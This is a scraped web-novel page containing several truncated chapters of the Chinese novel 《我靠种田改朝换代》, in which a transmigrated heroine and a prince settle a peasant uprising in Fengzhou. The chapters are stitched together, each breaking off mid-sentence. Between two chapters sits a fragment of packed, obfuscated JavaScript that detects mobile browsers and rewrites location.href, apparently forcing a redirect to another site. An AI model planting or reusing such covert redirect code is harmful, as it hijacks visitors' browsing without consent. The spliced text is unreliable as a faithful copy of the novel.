“我知道。”得知这个世界也有黄河,慕衷情顿时觉得亲切了不少,但只开心了没一会儿,便又担忧地问,“那黄河还是经常决堤吗?” 蒋羽叹气道:“这黄河水患又岂是个能轻易解决的问题。” “确实,那此次丰州民乱,可是因为遭了什么灾祸引发的?”慕衷情自然地坐下,打探起丰州的消息。 蒋羽毕竟也只是个大夫,对于内情知晓不多:“不清楚,秋汛未至,想来不是水患,也未曾听说干旱蝗灾,个中隐秘恐怕得等进了丰州才能了解清楚。” 两人聊着聊着,蒋羽也都快忘了自己本来是想赶慕衷情出去的,竟然和她认真探讨了起来。 “说是平乱,其实就是个吃力不讨好的活儿,自己人要使绊子,百姓也要有个抱怨的主儿,这场仗,不好打。”慕衷情也很愁,毕竟现在的走向完全脱离了她最初看到的那段故事,她倒是不担心秦澈会突然被杀,这家伙位高权重,武力值高,心眼儿也不少,用不着她操心,她担心的是自己会不会从一个小炮灰,变成一个普通炮灰。 蒋羽仔细观察着她的神情,稀罕道:“你是真的担心王爷?看来京中那些传闻还是有几分真的。” 慕衷情好奇:“什么传闻?” “你竟然不知道?你们成婚那日的事情可是不到一天就传遍了京城,都说你与王爷早就私定终身,本是一段才子佳人的故事,可惜王爷常年征战,有情人相思不得见,你那父母又棒打鸳鸯,不得已,王爷只好请陛下下旨赐婚,成就一段美满姻缘,奈何天不遂人愿,成婚当日又出现意外,王爷只得金屋藏娇,好生养着佳人,每每二人同床共枕时……” “认识你这么些年,医术不见长进,这说书的本事倒是不错。” 蒋羽话未说完,就被掀帘走进来的秦澈直接打断。 “不是,你这话说得就有失偏颇了,我要是医术不行,你能总把我放在军营里?”蒋羽不满地反驳,被秦澈瞪了一眼。 “你与她说这些,过了。”秦澈既是提醒,也是警告。 蒋羽这性子太跳脱,想到什么就说什么,也不管合不合适。 秦澈这么一提醒,蒋羽才反应过来,当着女子的面讲那些编排他们闺中密事的话,是不妥当。 蒋羽也是个耿直的,明白过来后立刻道歉:“王妃,刚刚是我唐突了,您大人有大量,不要跟我计较。” 慕衷情摆摆手:“没事,我知道师父你没有恶意。” 她又不是没有见过那些故意跟她讲这类事情的男人,是带着猥琐的目的故意提起,还是平常不经意说起,她还是能分清的。 秦澈走到帐内,拿起慕衷情的行李,自然地说:“走吧。” 慕衷情懵了一瞬:“走哪儿去?” 秦澈意味不明地瞧了一眼蒋羽,有些不好意思地说:“我的营帐。” 蒋羽的表情立刻又丰富起来,但碍着秦澈还在,嘴张了张,什么都没敢说。 毕竟他是真打不过秦澈。 慕衷情倒是没有在意两人可能需要同床共枕的事情,她还是很有信心他们只会盖着棉被纯聊天的。 但她仍旧犹疑:“可是如果我天天住在你那儿,会不会惹人 15. 十五、 《我靠种田改朝换代》全本免费阅读 慕衷情紧张地等待着秦澈的回答。 她明白秦澈为什么打地铺,但她也的确不在意这些,至少明面上他们还是夫妻,同塌而眠不算什么。 “我……”秦澈只说了一个字,又陷入了沉默。 慕衷情不知道此时的他在想些什么,但秦澈的犹疑让她觉得自己仿佛是一个调戏良家妇男的女流氓。 “你我虽已是外人眼中的夫妻,可,可毕竟,你我还有君子之约,就如你最初与我说的,若是日后你有了心仪之人,尽管告诉我便是,我不会为难于你。”秦澈只是认为,他们之间既然不是真夫妻,就应当恪守礼数。 “若我日后那位不知姓名的心仪之人,因为我曾嫁过人便厌弃我,那我要他又有何用?王爷,您不必顾虑我的名节,我自己都不在意的事情,日后也不会惧怕有人嚼舌根,再说了,女人又不是非要嫁个男人。”慕衷情说着,盘腿坐起来,“我知道自己弱小,说什么远大的理想,都像是在扯淡,只是我活着一天,就不会放弃自己的目标,哪怕路长了点,绕了点,是路它就有终点。” 秦澈认真听着,却依然坚持自己的想法:“衷情,你不在乎,我却在乎,哪怕是旁人永远都不会知晓今日营帐中的一切,我也不可逾矩,你心中有终点,我心中亦有线。” “那,好吧。”面对秦澈的执拗,慕衷情很无奈,不过她不会去勉强别人,她自己也是个不撞南墙不回头的人。 所以,理解万岁。 慕衷情重新躺下,安静下来后,两个人都很快进入梦乡,一如他们在王府那般。 翌日清晨,慕衷情是被外头的动静吵醒的,她躺在榻上迷糊了两分钟,就立刻起床洗漱吃干粮,生怕自己赶不上行军的速度。 走出营帐的那一刻,慕衷情感觉到四面八方的目光都落在了她身上,她顿了一下,装作若无其事地离开。 两天后,蒋羽鬼鬼祟祟又两眼放光地拉着慕衷情帮他捣药,等到只剩他们两人时,忍不住八卦道:“王妃,你听说了吗?你和王爷又有新的故事了?” 慕衷情一杵子下去,问道:“蒋大夫,您都离这么远了,还能知道京城的说书人在说什么故事?” “你劲儿再大点,要把汁都捣出来。”蒋羽边指挥边说道,“不是京城里,是军营里,你和王爷天天住一起,能不引人注目吗?” “所以,他们是传王爷好男风呢,还是传王爷色令智昏,带了个女人到军营里。”慕衷情倒是不在意流言,不过她很在乎自己的男装到底有没有成功。 蒋羽嘻嘻一笑,抓好几服风寒药:“都有,现在他们私下里开设了一场赌局,有人认为你是女子,也有人认为你就是个长得漂亮了些的女子,我可是押了五两银子的,幸好我知道点内情,输不了。” “那可真是恭喜您了。”慕衷情看他在写方子,像是想到了什么,问道,“蒋大哥,你行医多少年了?” “我七岁时便跟随师父学医,真正独自行医,是从十七岁开始,到如今,也将近十年了。”蒋羽难得语气有些感慨。 “那你可读过伤寒论、千金要方之类的书?”慕衷情垂着眼问。 蒋羽好奇又期待地看向慕衷情:“王妃也对医术有所了解?这两本书我从未听闻,难道是什么孤本?不知王妃可否割爱让我赏读一番?” “没有,我在家中便不受宠,就算有孤本,也轮不到我。”慕衷情抿唇,瞥见蒋羽失望的眼神,又补充道,“我也是偶尔听闻的,是一位医者将自己医治外感热病的经验写了下来,后来流传至另外一位医者手中,他便加上了自己的断症经验,只是不知此时又到了哪儿,或许,你也可以写一本这样的书,就写你最擅长的。” 蒋羽沉默了一会儿,而后轻笑道:“我啊,还差得远呢,那千金要方又是什么书?” “其实我也不是特别了解,我只记得其中的一段话,因为写得太好。”慕衷情小时候读书时,总爱到处搜罗闲书,《千金要方》是她在网上了解到的,一名做书摘的博主特意贴出了那段话,“我想想,还能记得几句。” “凡大医治病,必当安神定志,无欲无求,先发大慈恻隐之心,誓愿普救含灵之苦。若有疾厄来求救者,不得问其贵贱贫富,长幼妍蚩,怨亲善友,华夷愚智,普同一等,皆如至亲之想。亦不得瞻前顾后,自虑吉凶,护惜身命……” 时隔多年,慕衷情背得并不流畅,时不时便要 16. 十六、 《我靠种田改朝换代》全本免费阅读 慕衷情期待着秦澈的讲述。 可秦澈却话锋一转:“只是那般重要的人,若是他不肯提,我也不该提。” “你倒是很有保密意识,显得我探究人家的往事,有些过分了。”慕衷情半开玩笑地说,但换位思考,若是自己不愿意讲的经历被他人随意转述,那必然也会不开心,“王爷啊,你可真适合当一个树洞。” “什么?树洞?什么意思?”秦澈迷茫,他和树洞有什么关系? 慕衷情却是被子一盖,谁也不爱:“晚安,休息。” 秦澈:“……” 又过了五日,他们终于进入丰州地界。 但秦澈没有去找丰王协商调兵征用的事情,而是直奔奉德县,也就是此次民乱的发生地。 一路上,慕衷情也跟着了解了大概情况。 奉德县位于黄河流域,与黄河有一段距离,但又有丰富的水资源可供灌溉,水患也甚少影响到,因此往年都收成颇丰,算是较为富饶之地,但前两年原本的县主升迁,来了新的县主。 新县主就任之后,不仅提高了赋税,还纵容自己的亲眷下属侵占、兼并土地,在乡间为非作歹。 当百姓们发现自己辛苦忙碌一年,却连饭也吃不上时,民怨沸腾是早晚的事情,交不上赋税的百姓一合计,这样的日子比起落草为寇也好不了多少,便干脆结伙上了山。 慕衷情都不清楚他到底是哪儿的情报,仅仅是行军这几天,就已经摸清了奉德县的情况。 驻扎下来后,慕衷情取出了自己绑在大腿上的厚布,之前磨破的地方有部分已经结痂,但还是有部分依然在那儿摆烂。 她咬着牙帮自己敷药,越是疼表情就越是冷漠,她十分庆幸自己没有死要面子,一发现腿根磨破的时候就问蒋羽要来了药。 否则,她真不确定自己能撑过这七天。 白日里,慕衷情一直窝在蒋羽的营帐中,帮他分拣药材,做些力所能及的活儿,比起这里,她更不懂军事,所以非常自觉地不在晚上休息前进主将的营帐。 “王……小徒弟,过来看看,能不能认出来这是什么。”蒋羽拿着一片叶子朝慕衷情招手。 慕衷情放下手中的药包,走过去一看:“这不就是艾叶吗?蒋大哥,我还不至于这都瞧不出来吧。” 蒋羽却笑道:“我这只是提醒你,往后若是去了清州,遇上什么意外,便将其捣烂敷在伤口上,好保住你的小命多一刻。” “好,记住了,您放心,我应该还不至于让自己出什么意外。”慕衷情自信满满地说,反正她也没有什么非要去山里不可的理由,她只想去地里。 奔袭七日,慕衷情这个骑马的都累得不行,更别说靠双脚行军的普通士兵了,所以秦澈命令休整时,慕衷情并未觉得奇怪。 可休整到第三天时,慕衷情都觉得不太对劲,这是不是休息太久了? 倒像是秦澈压根就没打算好下一步,干脆在这儿磨洋工消耗时间一样。 第四天晚上,慕衷情没忍住好奇心,询问道:“王爷,您最近是在拖延时间吗?” “是。”秦澈承认得很是爽快,反正明眼人都看得出来,他也无需隐瞒。 “你把我偷偷带出京城,来到这里又按兵不动,就不怕皇帝又出什么幺蛾子吗?”慕衷情就担心秦澈前期没苟住,连带着自己一起完蛋。 秦澈没有直接回答,反而问道:“若我前两日便清缴所谓的乱民暴民,又当如何?” “会引起对方激烈的抵抗,也会失去一部分民心。”慕衷情自然明白这个道理,“我只是不明白,不打也有不打的方法,何必这样装都不装呢?” 秦澈轻笑一声:“既然不打,就要让所有人知道为什么不打,衷情,我要的是名利双收。” 慕衷情忽然沉默了,这还是秦澈第一次在她面前露出野心的冰山一角。 但她丝毫没有惧怕,反而觉得有些热血沸腾,甚至都已经帮秦澈想好了一路打到皇宫,把姜喧的脑袋摘下来当球踢的剧本。 “也是,打什么打,本来都是勤勤恳恳的小老百姓,那你准备怎么解决这件事?” 秦澈:“那要看,他们希望我怎么解决。” “王爷,这些人的命,还能保住吗?”慕衷情关心道。 “说实话,我不知道,我只能尽力而为。”秦澈没有说什么大义凛然的话,他有善心,也有私心,面对这样的局势,也未必能做到毫无损伤,“我也很好奇,你似乎很在意他们的性命。” 慕衷情反问道:“难道王爷不是吗?人命大如天,难道 17. 十七、 《我靠种田改朝换代》全本免费阅读 丰王是特意绕进来的。 慕衷情无比确定这一点,尤其是在对方点出自己的身份后。 军中都是男子,为了避免麻烦,秦澈特意让人在床榻旁加了屏风,在这儿住了好几天,她从未见过其他人越过屏风一步。 但无论对方如何笃定自己的身份,慕衷情都没打算承认。 她往后退了一步,已经开始后悔自己当年选修武术课时,怎么就没学到点真功夫。 而后她暗自蓄力,还不忘嘲讽回去:“你就是那位鱼肉百姓,德不配位的丰王?” 话音刚落,趁着丰王注意力被转移的那一刻,慕衷情飞起一脚,精准命中对方的命根子。 自己这种地的手艺还没找回来,飞毛腿倒是快练成了。 慕衷情一边在心里吐槽,一边绕到疼得直不起腰的丰王背后,又送了他一脚,直把人踢得摔了个狗吃屎。 快步向外跑去的同时,慕衷情还不忘顺手把桌上的东西随意扫乱,而后大喊道:“快来人!有贼人闯进军中了!有贼人偷东西!” 她一走出去,就见门口一名守卫神情着急,全然不似平时安静站岗的模样,而另一名守卫则不知去了哪儿。 两人一对视,明明什么都没有说,却又好似都明白了对方的想法。 只停了一秒,慕衷情就继续大喊,吸引了不少附近的士兵的注意力,大伙儿纷纷朝中军帐跑来。 丰王进军营这样的事情,不可能没有人知道。 只是不知道为什么,守卫的士兵见他闯进中军帐却没有跟进去,而秦澈又去了哪儿? 这几分钟发生的事情实在是让慕衷情有太多疑问,不过她还是非常有演员的信念感,见大家围拢过来,一脸焦急地喊道:“刚刚有贼人闯进去了,也不知道是来偷什么的,你们快去把人抓住!” 刚刚那名守卫小声说道:“秉,呃,您有所不知,王爷下了命令,若无他的首肯,谁也不许随意进中军帐,违者罚十军棍。” 慕衷情眨眨眼,问道:“那刚刚那名贼人,是怎么进去的?” 守卫轻咳一声,像是在掩饰什么,声音提高了些许:“自然是硬闯进去的,我已让人去禀告王爷,想来王爷很快就到!” 一个只说贼人,一个死活不说丰王,个个心里的算盘都打得噼里啪啦的。 说话间,慕衷情看到秦澈向她的方向走来。 今日的秦澈穿上了甲胄,看起来甚是威严。 慕衷情见到他,立刻跑过去说道:“王爷,有人闯进你的营帐,偷东西!” 她还特地把“偷”字又强调了一遍。 秦澈立刻下命令:“把人带出来。” 说着,他还看了身旁低着头的男人一眼。 从那人的打扮来看,也不像是军营中的人。 慕衷情猜测这人应该就是丰王的随从,只是两人怎么会分开行动? 几名士兵立刻进帐,将捂着关键部位打滚的丰王拎了出来。 秦澈没有核实什么,甚至连一句话都没问,就直接下令道:“押下去,十军棍。” 话音刚落,慕衷情便听秦澈身旁的那人震惊地说道:“王爷您不可如此对待丰王!” 秦澈瞥他一眼,没有回话。 丰王颤巍巍地抬起手,想要放狠话,但声音一直在抖:“秦澈,你今日这般对我,日后定要你好看。” 秦澈冷笑:“这是军营,违令者当军法处置,若是本王没记错,丰王进军营之时,本王便让人跟着丰王,还特意讲过军中的各种规矩,丰王明知故犯,若是不罚,便是本王治军不严,处置不公。” 慕衷情在一旁连连点头。 对于丰州乱象,军中士兵也多有听闻,丰州本是丰茂富饶之地,却发生了动乱,可想而知百姓遭受了多少苦难。 大部分的普通士兵家中也多是务农为生,平生最恨抢地抢粮的人,如今秦澈给了这么一个机会,他们压根没想着留手。 很快,丰王的惨叫声便从远处传来。 甚至秦澈还特意让人押着那位随从,去亲自看看自家主子的挨打过程,可谓是杀人诛心。 慕衷情本来也想去看热闹,却被秦澈拉住。 “其余人等,各司其职,散开。”说着,秦澈拉着慕衷情进了营帐内。 “抱歉,让你受惊了。” “你这样不怕报复吗?” 两人同时开口。 慕衷情听到他的话,眨眨眼:“这有什么?虽然一开始是有点慌,但我知道在这里我没那么容易出事。” 秦澈也答道:“这是开始,丰王的性子我了解,我是异姓王,他本就瞧不上我,越是用这军中规矩要求他,他便越不肯听话,只是没想到,他竟然胆大到闯入军中帐来,若是真出了什么事,即便将所有罪过推到他身上,也无人敢置喙。” “所以你本来就是想找借口打他的?也是故意顺着他的意,不跟着他,只等着他自己出问题?”慕衷情思索道,“这样一来,姜……皇上肯定很快就知道这件事,你还真是,一点儿都不怕他们。” 说着,慕衷情又仔细观察秦澈的神情,发现他果然无一丝担忧和忌惮。 但转念一想,也是,秦澈手中握有重兵,他的兵还骁勇善战,又忠心于他,姜喧忌惮也是正常的,秦澈自己也明白这个道理,平时他愿意尊重姜喧是平时的事,如今不想管他,也有底气。 难怪都说功高盖主,这的确就是想反就反。 “将在外军令有所不受,处置姜津不仅是因为他本身德行有失,也是我送给奉德县起义者的一份礼物,是我的诚意。”秦澈叹息一声,“休息这几日,本就是想将奉德县的情况在军中传开,不打比打难得多,须得上下一心。” 慕衷情连连点头:“没错没错,那这份诚意,王爷是想如何让它生效?” “我已派人联络山上的百姓,他们同意与我当面谈判,要求是地点由他们来定,而且必须带上姜津。”秦 18. 十八、 《我靠种田改朝换代》全本免费阅读 慕衷情强迫自己不要去注意姜津的尸体和脑袋。 刚刚秦澈的那一眼,总让她觉得有些在意。 她没读懂秦澈的意思,却知道他和自己一样,并不希望对面的人就这样白白去死。 慕衷情不敢看姜津血淋淋的人头,视线刻意避开为首的书生,落在他身后人的身上。 就是这么一看,让慕衷情发现了问题。 那人的手,好像在抖。 慕衷情蹙起眉头,抬眼看向他的脸,发现他脸色苍白,牙齿也似乎在打颤,只是在极力压抑着。 “等等,别冲动。”慕衷情盯着那人,出声道,“他是不是得了什么病?军中有医官,可以让他来看看,我看他好像病得不轻。” 慕衷情刚说完,那人便抖得几乎握不住刀,身旁的兄弟见状连忙搀扶住他。 书生担忧地回头看着对方,沉吟道:“今日我们本就抱着必死的决心前来,这位公子大可不必用这些好听话来糊弄我们。” 慕衷情着急地往前走了一步,秦澈立刻抬手拦住了她。 “我没有骗你们,你们住在山里,多蚊虫叮咬,他这发抖的症状看起来就不轻,说不定是疟疾,得让大夫看看才行,不然会出人命的。” 见她眼中的关切不似作假,那书生犹豫地看向秦澈。 能被秦澈带到这里来的,必是亲信无疑,就是不知此人的话,是否会是秦澈的意思。 秦澈看懂了他的期待与怀疑,只说道:“我不希望你们死,只要你愿意,我可以让刘竹柏立刻回营将医官带来。” “我问最后一个问题。”书生站在五人身前,“今日我们杀了丰王,你却不杀我们,日后你要如何交代?” 秦澈难得露出如此张扬,甚至算得上嚣张的笑容:“便是不交代又如何?他们想问罪,也得问问我手中的十万兵马。” 书生释然一笑,作揖行礼:“那便恳请清王殿下,救救我的兄弟。” 慕衷情望着秦澈的侧脸,忽然觉得他还挺有颠覆朝纲的反派气质。 但转念一想,有姜喧这样的皇帝在,这朝纲早就癫了,覆了就覆了吧。 秦澈扬手道:“立刻去把蒋羽带过来,除了他,不可告知其余人此处位置。” 刘竹柏立刻应道:“是。” 说罢,他翻身上马,立刻去找蒋羽。 此处离军营驻扎的位置并不算太远,刚刚发作的那人此刻已经站也站不住,浑身发抖,其余人都围在他身边,无暇顾及秦澈与慕衷情。 剑拔弩张的气氛已经消失,但慕衷情还是受不了那具尸体,只能望向别处。 金黄的麦田除了风声,十分安静。 也是,附近的百姓都上了山,这里怎能不安静。 或许是麦田让慕衷情感受到了久违的亲切,她一时放松下来,说道:“这个时节,该收麦子了,收完之后,可以种些玉米,红薯,这些麦子长得这样好,种它们的人一定很用心。” 那书生颇为惊讶地打量了一番慕衷情,从一开始,他就发现比起秦澈和刘竹柏,慕衷情显得娇小了些,一直在猜测她的身份,只是没能想出个所以然来,总不能秦澈这种时候还要带个心仪的小白脸过来吧? “你家中也是务农的?” 慕衷情没正面回答这个问题:“这是不是你们给自己选的埋骨地?” “是。”书生坦然承认。 秦澈忽然走到麦田前,问道:“还未请教公子尊姓大名。” “白飞鹰。”白飞鹰竟然也走到了秦澈身边,似乎完全不怕秦澈对他出手。 “秦澈。”秦澈也介绍了一遍自己的名字。 白飞鹰轻笑一声。 慕衷情也挪了几步,站在秦澈身旁另一侧,默默说道:“慕衷情。” 十几分钟后,那名发抖的人终于缓了过来,坐在地上慢慢恢复状态。 慕衷情见状,连忙走到他身旁,不顾其他人警惕的目光,用手背在他额头上碰了碰,提醒道:“这病来得凶猛,发冷过后要小心发热。” 白飞鹰看着慕衷情的动作,悄声问秦澈:“王爷,慕公子看起来颇为文弱,您为何会带着他来?” “她说她想来。”秦澈这般回答,他有自信自己能护慕衷情周全,也不怕白飞鹰等人翻脸不认人。 白飞鹰听懂了他的言外之意,但他不得不承认,这是真的。 他是一个读书人,手无缚鸡之力,和他一同前来的五人,也都是普通的百姓,他们怎么可能能赢过身经百战的秦澈? 很快,马蹄声渐近。 蒋羽几乎是滑下马,他死死抱着药箱,什么都没来得及说,就跑到 19. 十九、 《我靠种田改朝换代》全本免费阅读 “知道了,你们将人带下去安置好,听从蒋大夫的吩咐,我去接旨。”秦澈看向慕衷情,思索一瞬,“你去帮他们,可否?” 慕衷情点头答应,丰州与京中的通讯并不方便,昨日丰王才来到军营,今日收到的旨意肯定不是关于此事的,按照时间来算,最有可能的就是关于慕衷情的。 军中一向不许女子进入,就算慕衷情是王妃,但也是个女子。 也不知道姜喧会做出怎样的决定。 秦澈一人前往中军帐接旨,慕衷情有些担忧,却也相信秦澈会帮自己处理好姜喧的麻烦。 正如他们所料,来宣旨的并非宫内太监,而是一位普通的驿丞。 姜喧的旨意也很简单,就是让秦澈把慕衷情送回京城。 姜喧很少对秦澈下这样直白的命令,他忌惮秦澈,却也了解秦澈,往往秦澈做的决定,没有人可以强迫他改变。 也正是因为此,他格外地害怕自己的皇权旁落。 这样一个不听话,却过于有能力的臣子,威胁实在太大。 其实秦澈一直都明白姜喧在害怕什么,在无关紧要的事情上,秦澈可以退让,他也很多次都在退让。 可惜姜喧是看不到这些的,他只会记着秦澈每一次的抗旨不遵,以下犯上。 秦澈听完旨意后,当即写了一封信,交给了驿丞,要他传回京城。 驿丞则试探着问:“那王妃?” 秦澈指了指信:“你将信交给陛下,陛下就会明白的。” 驿丞当即出了一身冷汗,哪怕信中写了合理的缘由,但在此时此刻,秦澈就是抗旨。 但他只是个小小驿丞,什么都不能说。 清王与当今陛下的矛盾,身在官场的人心里都明白几分,驿丞听懂秦澈的话之后,什么也不敢说,连忙拿着信离开。 他志向不大,就想安稳度日。 驿丞走后,秦澈轻声叹了一口气,希望三年之后,慕衷情可以真的能够实现他们之间的约定。 他回想起今日慕衷情在面对白飞鹰等人时的表现,以及对疟疾的了解,心中的探究只增不减。 期待与怀疑在内心拉扯,秦澈有时候也不知道,为了这么一个看起来不可能实现的约定而做得这一切,到底能否换来他想要的结果。 可他宁愿相信慕衷情,也不会再对姜喧抱有任何希望。 那封信从此处到京城,还要几天,他必须抓紧时间,在这几天之内,解决丰州的事情,让姜喧找不到借口为难他们。 秦澈闭眼沉思,过了一会儿面色如常地离开中军帐,去找蒋羽等人。 蒋羽将病人带到了自己的营帐中。 在与白飞鹰的交谈中,慕衷情得知,这个病人叫做李丰收,是奉德县的一个普通农户,为人很是孝顺,家中还有一个小妹,年纪尚小,在山上时常睡得不安稳。 李丰收便每晚抱着自家小妹哄睡,又怕打扰到其他人休息,所以都是出去哄睡着了,再把小妹抱回来。 如今正值春夏之交,山中蚊虫多,李丰收身上被咬得惨不忍睹。 但他习惯了吃苦,都忍了下来,直到前几天开始发病,才察觉到事情的严重性。 恰逢秦澈传递消息,想要和他们谈谈。 白飞鹰做了最坏的打算,想用自己的命换其他乡亲的命,可其他人也不是不顾念情义的人,李丰收认为自己得了这打摆子的病,怕是活不久,硬是要跟着白飞鹰一起去谈判,见他如此,另外四人也都要求与白飞鹰一起见秦澈,人多力量大,万一还能拼出一条生路来呢? 幸好,秦澈也从未想过要给他们一条死路。 秦澈来到蒋羽营帐中的时候,慕衷情刚好端了盆水来,帮李丰收擦汗降温。 发寒的症状刚过去不久,高热就来了。 见秦澈到来,蒋羽和白飞鹰稍稍行了礼,只有慕衷情动也没动,问道:“王爷,您需要我回京城吗?” 秦澈脚步一顿,低笑道:“不必,刚抗完旨。” “回京?为何要回京?”白飞鹰思索着问道,“难道你……” 蒋羽按照慕衷情所说的,找到青蒿,加入适量的水,开始绞取汁,手上动作不停的同时,悠悠答道,“因为她是王妃。” 白飞鹰竟也不觉得有多惊讶,从他看到秦澈扶慕衷情上马时,就猜到两人关系不一般,只是没想到,秦澈竟然直接带着王妃出征,还抗旨? “抗旨之后呢?”慕衷情听他语气中有笑意,便知不会出事,问道,“王爷可有什么打算?” “那就要看,白公子能不能与我合作一回了。”秦澈这么说着,但语气却是十分肯定,毕竟白飞鹰人都已经到了这儿,可见是愿意信任他们的。 果不其然,白飞鹰听到秦澈的话,看向躺在床上的李丰收:“我可以说服他们下山,但必须保证他们的性命无忧,同时,减免赋税,交还田地,不得暗地里迫害他们。” 秦澈立刻答道:“可以,丰王已死,丰州必定会迎来新的面貌,此处县主会畏罪自杀,你们的冤屈会被天下人所知,届时好好安置你们,便是当今陛下仁心厚德,体恤百姓。” 慕衷情闻言,忽然抬头看向秦澈。 秦澈注意到她的目光,问道:“衷情可是有什么更好的办法?” 慕衷情摇摇头:“没什么,刚刚想到了一些不重要的事情。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12866598|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕衷情才发现,其中还有一位拄着拐杖的老者。 白飞鹰和一位年轻女子扶着那位老者慢慢上前,介绍道:“这是谭老,县里的乡贤。” 慕衷情还没意识到什么,秦澈就皱起眉头问道:“乡贤?也跟着上了山?” 谭老苦笑着说:“老朽只是一个老了的读书人,不过靠着些声明得人几句尊敬,可唇亡齿寒,祸事来于县主,本县之人便无一可作壁上观,无论是为了乡民,还是为了我孙女的安危,我都不可能再留在那儿了。” 秦澈沉吟道:“本王明白了,谭老冒险前来,想必也是有所期望,实不相瞒,本王这次上山,是为了接你们下山,只要你们愿意信任本王,此刻下山,还地于民。” “还地?”一向镇定的白飞鹰忍不住惊呼出声,“王爷,这可不是小事,不能随便说说的。” “就是因为不是小事,才不会随便说出口呀。”慕衷情连忙帮秦澈说话,“我和王爷商量过了,我们会待在丰州一段时间,一是为了等这里的消息传到京城,二是保证你们的安全,最重要的是,农忙时节就要到了,再拖下去麦子太熟了就不好了,此次来丰州,王爷正好带了三千兵马,正好可以让他们帮忙,大家都是农户子弟,自然理解你们的苦楚,你说对吧,王爷?” 慕衷情手臂碰了碰秦澈,秦澈会意道:“那是自然。” “如此甚好,甚好……”谭老欣喜地点头,但没多久就面露担忧,“可是王爷这般帮我们,要如何与天子交代呀?您真的可以全身而退吗?” “可以,此行了结之后,我也该回我的封地了。”秦澈语气平静,但部分听者却有心了。 谭老与白飞鹰对视一眼,彼此都默契地选择了沉默。 良久,谭老的拐杖敲了几下地面,说道:“那便有请王爷,为我们做主了。” 秦澈无声地看向白飞鹰,白飞鹰朝他一笑,微微提高了音量:“大家出来吧,我们下山。” 他的声音回荡在山间的风中,接着慕衷情便听到许多窸窸窣窣的声音,她望向周围,四周几乎所有能藏人的地方,探出了一个个面黄肌瘦、蓬头垢面的脑袋。 甚至还有一个小孩,从远处的树上跳了下来,跑向白飞鹰。 慕衷情小声问:“王爷,你是不是早就发现他们偷偷藏在周围了吧?” 秦澈但笑不语。 下山并不比上山来得轻松,慕衷情总会下意识去拉身边的秦澈,或扶着附近的树,慢慢往下走。 她可不想自己脚一滑,直接滚到目的地。 等到他们回到奉德县,这座空了大半的县城终于有了几分生机,在街上,有许多穿着甲胄的士兵在巡逻。 慕衷情之前一直待在军中,都不知道秦澈什么时候已经把控了奉德县,难怪他一直笃定县主会在适合的时候“畏罪自尽”。 “书诚?书诚!” 慕衷情正与秦澈一起送谭老和他的孙女回到住处时,便听到一个陌生的男声兴奋地喊叫起来。 白飞鹰猛地抬头四处张望,慕衷情看到他的目光落在一个风尘仆仆的年轻男子身上:“承心,你怎么会,回来了?” 谭老闻言也看向那名男子,忽而激动到双手颤抖着上前:“是宋县主,宋县主回来了!” 21. 二十一、 能让白飞鹰和谭老如此激动的县主,怕是只有传说中那位爱民如子,政绩斐然的县主了。 慕衷情眼见谭老甩开自己搀扶着的手,拄着拐杖上前去迎接那位宋县主,身后那些百姓也都在惊诧过后围了上去。 她好奇地踮脚想要看看那位宋县主的庐山真面目,但碍于身高只得作罢,便转而去问身边不动如山的秦澈,开玩笑道:“王爷,这人可都要跑了呀,你这趟算不算是白来了?” 秦澈却露出笑意:“不,这一趟是赚了。” 慕衷情的目光在人群与秦澈之间来回:“你是想,把这位宋县主也收为麾下?” 秦澈摇摇头:“不,是要把他,塑造成传奇。” 见慕衷情不解,秦澈又补充了一句:“奉德县的传奇。” 慕衷情一点就通:“他在奉德县本就有极高的威望,只要他愿意留在奉德县,那你承诺的后续安宁就有人去维持,而这位县主此番回到奉德县,怕也是不容易,想要站稳脚跟,不被其他人迫害,还得寻求你的庇护,所以你不需要收服他,只需要与他各取所需?” 秦澈难得夸赞道:“聪明,看来衷情的聪慧并不只在田地间。” “那是,就算我不擅长宫斗,但这种利益交换还是懂的,好歹当年考公……呃”慕衷情快速瞥了秦澈,看他似乎并没有发现异常,连忙改口道,“好歹当年也听父亲讲过不少京中局势,还是懂一些的。” 说完,慕衷情还对秦澈露出了一个天真无邪的笑容,秦澈也点点头,好像一个真的在说实话,一个真的信了一样。 秦澈在原地等了一会儿,等到白飞鹰的兴奋劲过去,想起来介绍他时,才神态温和地向前几步,自有一番君子作派。 慕衷情在心里默默吐槽秦澈实在太能演了,然后也跟着上前,尽职尽责地当好小跟班。 白飞鹰肉眼可见的高兴,拉着宋远疾说道:“这位便是清王爷,此次带我们下山,是为了分地。” 宋远疾听到“分地”两个字,一时没有控制好惊讶的神情,但很快便收敛了情绪,只微笑作揖道:“草民宋远疾,往京中述职时,曾与王爷见过的。” 秦澈快速回想了一遍,但对眼前的人着实并无什么印象,京中他去得少,与文官往来更是少之又少,匆匆一面还真未必能记住,不过秦澈没有表露出来,不动声色地转移了话题:“宋县主为何自称草民?莫非……” 宋远疾坦然一笑:“我已挂印辞官,如今只是一介布衣。” 此言一出,众人哗然,纷纷询问宋远疾为何要辞官,白飞鹰站在他身旁,反而是最安静的一个。 慕衷情微微提高音量:“宋公子是否是为了回到奉德县,才挂印辞官的?” 听到这话,大家都安静下来,看向宋远疾,等待他的答案。 宋远疾笑容未变:“宋某不可擅离职守,便只好挂印辞官了。” 他没有直接说,却也承认了他是为了回到奉德县才会选择辞官。 秦澈作揖道:“宋公子大义。” “王爷谬赞了,方才听承心言,王爷是要分地?”宋远疾语气温温柔柔的,却能听得出一丝怀疑,毕竟多年来兼并土地之风盛行,无论是官员还是乡绅土豪,都巴不得把地握在自己手里,宋远疾只知清王能征善战,此次是被派来镇压奉德县百姓的,并不了解秦澈品行,他担心这只是一种迷惑人心的手段,更担心这巨大的好处背后,是奉德县人无法承受的代价。 